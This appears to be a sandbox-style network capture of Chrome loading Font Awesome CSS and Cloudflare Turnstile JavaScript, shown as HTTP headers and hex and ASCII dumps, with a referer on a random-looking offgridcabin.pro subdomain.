2025-01-13 20:52:48 UTC	950	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:52:48 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"619c057b-44be" Last-Modified: Mon, 22 Nov 2021 21:02:51 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 353920 Expires: Sat, 03 Jan 2026 20:52:48 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vtDcYZET843IzzaDX6wNREohVqBx0qzM86S85fe%2F4zyI02a%2BZ7%2BRHZRCHT6Yg7bhSVD%2BBkJ1PuL6XPHbd4KBGjrvXt6Kruf571Rx%2BJW92e3OZ2bhhCnV3ZqRD%2BkDL8mNh7SR9Se2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 901845a86da55e74-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:52:48 UTC	419	IN	Data Raw: 37 62 66 61 0d 0a 2f 2a 21 0a 20 2a 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 46 72 65 65 20 36 2e 30 2e 30 2d 62 65 74 61 33 20 62 79 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 0a 20 2a 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 2f 66 72 65 65 20 28 49 63 6f 6e 73 3a 20 43 43 20 42 59 20 34 2e 30 2c 20 46 6f 6e 74 73 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 6f 64 65 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 31 20 46 6f 6e 74 69 63 6f 6e 73 2c 20 49 6e 63 2e 0a 20 2a 2f 0a 2e 66 61 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 66 61 Data Ascii: 7bfa/! Font Awesome Free 6.0.0-beta3 by @fontawesome - https://fontawesome.com * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) * Copyright 2021 Fonticons, Inc. */.fa{font-family:var(--fa
2025-01-13 20:52:48 UTC	1369	IN	Data Raw: 61 74 7b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 64 69 73 70 6c 61 79 3a 76 61 72 28 2d 2d 66 61 2d 64 69 73 70 6c 61 79 2c 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 29 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 76 61 72 69 61 6e 74 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 74 65 78 74 2d 72 65 6e 64 65 72 69 6e 67 3a 61 75 74 6f 7d 2e 66 61 2d 31 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 7d 2e 66 61 2d 32 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 65 6d 7d 2e 66 61 2d 33 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 65 6d 7d 2e 66 61 2d 34 78 7b 66 6f Data Ascii: at{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:var(--fa-display,inline-block);font-style:normal;font-variant:normal;line-height:1;text-rendering:auto}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{fo
2025-01-13 20:52:48 UTC	1369	IN	Data Raw: 74 3a 76 61 72 28 2d 2d 66 61 2d 70 75 6c 6c 2d 6d 61 72 67 69 6e 2c 2e 33 65 6d 29 7d 2e 66 61 2d 62 65 61 74 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 62 65 61 74 3b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 62 65 61 74 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 2c 30 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 2c 30 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 2c 6e 6f 72 6d 61 6c 29 3b 61 6e Data Ascii: t:var(--fa-pull-margin,.3em)}.fa-beat{-webkit-animation-name:fa-beat;animation-name:fa-beat;-webkit-animation-delay:var(--fa-animation-delay,0);animation-delay:var(--fa-animation-delay,0);-webkit-animation-direction:var(--fa-animation-direction,normal);an
2025-01-13 20:52:48 UTC	1369	IN	Data Raw: 2d 64 75 72 61 74 69 6f 6e 2c 31 73 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 2c 31 73 29 7d 2e 66 61 2d 62 65 61 74 2d 66 61 64 65 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 62 65 61 74 2d 66 61 64 65 3b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 62 65 61 74 2d 66 61 64 65 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 2c 69 6e 66 69 6e 69 74 65 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 76 61 72 28 2d 2d 66 Data Ascii: -duration,1s);animation-duration:var(--fa-animation-duration,1s)}.fa-beat-fade{-webkit-animation-name:fa-beat-fade;animation-name:fa-beat-fade;-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--f
2025-01-13 20:52:48 UTC	1369	IN	Data Raw: 69 72 65 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 2c 6e 6f 72 6d 61 6c 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 2c 32 73 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 2c 32 73 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 2c 69 6e 66 69 6e 69 74 65 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d Data Ascii: irection:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,2s);animation-duration:var(--fa-animation-duration,2s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-
2025-01-13 20:52:48 UTC	1369	IN	Data Raw: 61 6e 73 69 74 69 6f 6e 2d 64 65 6c 61 79 3a 30 73 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 65 6c 61 79 3a 30 73 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 30 73 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 30 73 7d 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 62 65 61 74 7b 30 25 2c 39 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 7d 34 35 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 73 63 61 6c 65 2c 31 2e 32 35 29 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 65 Data Ascii: ansition-delay:0s;transition-delay:0s;-webkit-transition-duration:0s;transition-duration:0s}}@-webkit-keyframes fa-beat{0%,90%{-webkit-transform:scale(1);transform:scale(1)}45%{-webkit-transform:scale(var(--fa-beat-scale,1.25));transform:scale(var(--fa-be
2025-01-13 20:52:48 UTC	1369	IN	Data Raw: 61 72 28 2d 2d 66 61 2d 66 6c 69 70 2d 79 2c 31 29 2c 76 61 72 28 2d 2d 66 61 2d 66 6c 69 70 2d 7a 2c 30 29 2c 76 61 72 28 2d 2d 66 61 2d 66 6c 69 70 2d 61 6e 67 6c 65 2c 2d 31 38 30 64 65 67 29 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 33 64 28 76 61 72 28 2d 2d 66 61 2d 66 6c 69 70 2d 78 2c 30 29 2c 76 61 72 28 2d 2d 66 61 2d 66 6c 69 70 2d 79 2c 31 29 2c 76 61 72 28 2d 2d 66 61 2d 66 6c 69 70 2d 7a 2c 30 29 2c 76 61 72 28 2d 2d 66 61 2d 66 6c 69 70 2d 61 6e 67 6c 65 2c 2d 31 38 30 64 65 67 29 29 7d 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 73 70 69 6e 7b 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 Data Ascii: ar(--fa-flip-y,1),var(--fa-flip-z,0),var(--fa-flip-angle,-180deg));transform:rotate3d(var(--fa-flip-x,0),var(--fa-flip-y,1),var(--fa-flip-z,0),var(--fa-flip-angle,-180deg))}}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0de
2025-01-13 20:52:48 UTC	1369	IN	Data Raw: 3a 22 5c 33 30 22 7d 2e 66 61 2d 31 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 33 31 22 7d 2e 66 61 2d 32 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 33 32 22 7d 2e 66 61 2d 33 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 33 33 22 7d 2e 66 61 2d 34 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 33 34 22 7d 2e 66 61 2d 35 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 33 35 22 7d 2e 66 61 2d 36 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 33 36 22 7d 2e 66 61 2d 37 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 33 37 22 7d 2e 66 61 2d 38 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 33 38 22 7d 2e 66 61 2d 39 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 33 39 22 7d 2e 66 61 2d 61 Data Ascii: :"\30"}.fa-1:before{content:"\31"}.fa-2:before{content:"\32"}.fa-3:before{content:"\33"}.fa-4:before{content:"\34"}.fa-5:before{content:"\35"}.fa-6:before{content:"\36"}.fa-7:before{content:"\37"}.fa-8:before{content:"\38"}.fa-9:before{content:"\39"}.fa-a
2025-01-13 20:52:48 UTC	1369	IN	Data Raw: 63 2d 64 6f 77 6e 2d 61 6c 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 38 38 36 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 64 6f 77 6e 2d 61 2d 7a 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 73 6f 72 74 2d 61 6c 70 68 61 2d 61 73 63 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 73 6f 72 74 2d 61 6c 70 68 61 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 35 64 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 64 6f 77 6e 2d 6c 6f 6e 67 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 6c 6f 6e 67 2d 61 72 72 6f 77 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 37 35 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 64 6f 77 6e 2d 73 68 6f 72 74 2d 77 69 64 65 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 73 6f 72 74 2d 61 6d 6f 75 6e 74 2d 64 65 73 63 3a 62 65 Data Ascii: c-down-alt:before{content:"\f886"}.fa-arrow-down-a-z:before,.fa-sort-alpha-asc:before,.fa-sort-alpha-down:before{content:"\f15d"}.fa-arrow-down-long:before,.fa-long-arrow-down:before{content:"\f175"}.fa-arrow-down-short-wide:before,.fa-sort-amount-desc:be
2025-01-13 20:52:48 UTC	1369	IN	Data Raw: 7d 2e 66 61 2d 61 72 72 6f 77 2d 74 75 72 6e 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 6c 65 76 65 6c 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 34 39 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 74 75 72 6e 2d 75 70 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 6c 65 76 65 6c 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 34 38 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 36 32 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 75 70 2d 31 2d 39 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 73 6f 72 74 2d 6e 75 6d 65 72 69 63 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 36 33 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 75 70 2d 39 2d 31 3a 62 65 66 6f 72 65 2c 2e Data Ascii: }.fa-arrow-turn-down:before,.fa-level-down:before{content:"\f149"}.fa-arrow-turn-up:before,.fa-level-up:before{content:"\f148"}.fa-arrow-up:before{content:"\f062"}.fa-arrow-up-1-9:before,.fa-sort-numeric-up:before{content:"\f163"}.fa-arrow-up-9-1:before,.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49724	104.18.94.41	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:48 UTC	586	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:52:48 UTC	386	IN	HTTP/1.1 302 Found Date: Mon, 13 Jan 2025 20:52:48 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/e0c90b6a3ed1/api.js Server: cloudflare CF-RAY: 901845a89cfac477-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49730	104.18.94.41	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:48 UTC	585	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:52:48 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:52:48 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 901845ac6b664401-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:52:48 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-13 20:52:48 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-13 20:52:48 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-13 20:52:48 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-13 20:52:48 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-13 20:52:48 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-13 20:52:48 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: 